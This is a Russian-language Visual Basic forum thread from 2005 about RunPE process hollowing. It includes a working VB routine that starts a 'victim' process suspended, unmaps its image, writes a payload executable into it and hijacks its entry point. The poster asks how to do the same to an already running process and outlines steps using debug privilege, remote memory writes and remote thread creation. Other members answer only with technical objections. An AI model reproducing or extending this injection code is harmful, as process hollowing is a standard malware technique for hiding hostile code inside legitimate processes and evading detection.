Mod - RunPE инжектинг в УЖЕ запущеный процесс внешнего *.exe

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

Mod - RunPE инжектинг в УЖЕ запущеный процесс внешнего *.exe

Сообщение xenomorph » 08.11.2005 (Вт) 20:13

Привет всем!

Вопрос такой - есть код Оловянникова (?) -
[в любом случае - респекты автору кем бы он ни был!]
по запуску исполнимого файла в контексте внешнего приложения.

Мене интересует можно ли, и если да то как инжектировать и запустить
исполняемый файл в УЖЕ существующий процесс 8-).
Подозреваю что модификация нужна минимальная :-).

Существующий алгоритм такой:

1. Читаем файл-payload в байтовый массив.
2. Делаем:
Код: Выделить всё
'=====================================================================
    If CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
       RunExe = -100
       'MsgBox "Can not start victim process!", vbCritical
       Exit Function
    End If
    context.ContextFlags = CONTEXT86_INTEGER
    If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
    Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
    If addr = 0 Then GoTo ClearProcess
    If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
    ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
    If ImageBase = 0 Then GoTo ClearProcess

    Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)
    lOffset = idh.e_lfanew + Len(inh)
    For i = 0 To inh.FileHeader.NumberOfSections - 1
        CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
        Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)
        Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr)
    Next i
    Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)
    context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
    Call SetThreadContext(pi.hThread, context)
    Call ResumeThread(pi.hThread)
    Exit Function
ClearProcess:
    CloseHandle pi.hThread
    CloseHandle pi.hProcess
'=====================================================================

Насколько я понял используються только 2 параметра для ДАЛЬНЕЙШИХ
операций с процессом это - si и pi.

Вопрос - как их получить оные si и pi от любого внешнего процесса?
т.е. OpenProcess - получили хэндл ... а дальше?

МСДН:

LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION

GetStartupInfo - возвращает указатель внутри процесса на его StartupInfo.
Есть ли аналог функции для получения не своей STARTUPINFO (по ПИД-у? или ещё как?)

Навскидку - сработает инжектинг библиотеки с последующим вызовом GetStartupInfo,
и дампом оного для последующего инжектинга исполнительного модуля.

Ещё есть у кого-нить какие идеи насчёт получения STARTUPINFO?

Касательно PROCESS_INFORMATION - у меня вапстче нет идей 8-).

Окромя этого:

Код: Выделить всё
Private Declare Function NtQuerySystemInformation Lib "ntdll.dll" ( _
    ByVal dwInfoType As Long, _
    ByVal lpStructure As Long, _
    ByVal dwSize As Long, _
    dwReserved As Long) As Long


Вот пример использования:

Код: Выделить всё
    'first, find the RequiredLength for the SYSTEM_HANDLE_INFORMATION array
    Status = NtQuerySystemInformation(SystemHandleInformation, _
          ByVal VarPtr(Buffer(0)), ByVal RequiredLength, 0&)

    If Status = 0 Then
        Exit Do
    End If


Возрат - указатель на т.н. SYSTEM_HANDLE_INFORMATION array ...

ИМХО де-то тута собака порылась ...
--
И последнее -
Так работать будет (?):

0. Установка SE_DEBUG Priv ...
1. OpenProcess.
2. SuspendThread.
3. Получаем si, pi.
4. Далее код Оловянникова 8-).
5. ResumeThread.
???
--
Приветствуються любые _КОНСТРУКТИВНЫЕ_ коментарии \ идеи!
--
Заранее огромное спасибо!
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

Код в студии 8-)

Сообщение xenomorph » 08.11.2005 (Вт) 20:27

Вот.
Вложения
RunPE.rar
(7.79 Кб) Скачиваний: 150
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Re: Mod - RunPE инжектинг в УЖЕ запущеный процесс внешнего *

Сообщение tyomitch » 08.11.2005 (Вт) 20:36

xenomorph писал(а):Вопрос такой - есть код Оловянникова (?) -
[в любом случае - респекты автору кем бы он ни был!]

Оловянникова, да благословит его Гейтс и приветствует.

xenomorph писал(а):по запуску исполнимого файла в контексте внешнего приложения.

Мене интересует можно ли, и если да то как инжектировать и запустить
исполняемый файл в УЖЕ существующий процесс 8-).
Подозреваю что модификация нужна минимальная :-).

Подозреваю, что в общем случае не сканает. Если у тебя инжект достаточно примитивный, тогда ищи по форуму CreateRemoteThread. Если здорово нетривиальный - тогда облом.
Изображение

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

Сообщение xenomorph » 08.11.2005 (Вт) 20:57

2 многоуважаемый tyomitch,
эээ ... чёт не того, этого ...
ОН его УЖЕ написал ...
а я практически доделал 8-).

Задача достаточно нетривиальная я хочу ВЕСЬ исполняемый код левого приложения запустить в памяти процесса - жертвы.

Инжектинг длл через CreateRemoteThread меня не интересует -
уже умею 8-).

==
Угу ... я понимаю где бага ... - поточность ...
Работать не будет по определению 8-(((.
Точнее будет - но только один код - мой в данном случае - а процесс - жертва отбросит копыта ... что не есть гуд. 8-(((.
--
Ещё идеи?
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 08.11.2005 (Вт) 21:20

А как ты себе представляешь работу двух кодов в одном потоке?
Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

Ре

Сообщение xenomorph » 08.11.2005 (Вт) 21:44

2 GSerg если чисто теоретически, то естеБственно что в ДВУХ а не в одном ...
... так:

OpenProcess
...
SuspendThread - тормозим основной поток ...
VirtaulAllocate (внутри процесса выделяем память)
Пишем данные - массив образа файла ...
(+ настройка рилокейшенов ... context-ov и т.п.)
через WriteMemory
СreateThread - со стартовым образом точки входа этого образа.
ResumeThread - Отпускаем основной поток приложения ...

Для использования АПИ которые того, запускаються внутри
контекста, - имеет смысл инжектить либу на азме через
СreateRemoteThread и дампить резалты
в инжектор - главное - чтобы удалось запустить образ левого учушника. 8-).

Практически я могу сделать 1\2 от всего - т.е. записать образ вовнутрь,
(делал с Шелл-кодом - выходило (!))
настроить рилокейшены и ИБейз ... и запустить образ файла но (!) это
если я сообразю КАК найти СТРАТАП и ПРОЦЕССИНФО структуры ...
и если я правильно копаю 8-).

Я погнал искать мейл Оловянникова 8-). Может поможет 8-)!
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Сообщение tyomitch » 08.11.2005 (Вт) 22:14

Неправильно копаешь :-(
si и pi здесь вообще не при чём.

Как ты собираешься примирить попытки обоих "тредов" обращаться к общепроцессным структурам - командная строка, окружение, ресурсы, консоль и всё такое?
Изображение


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: SemrushBot, Yandex-бот и гости: 96

    TopList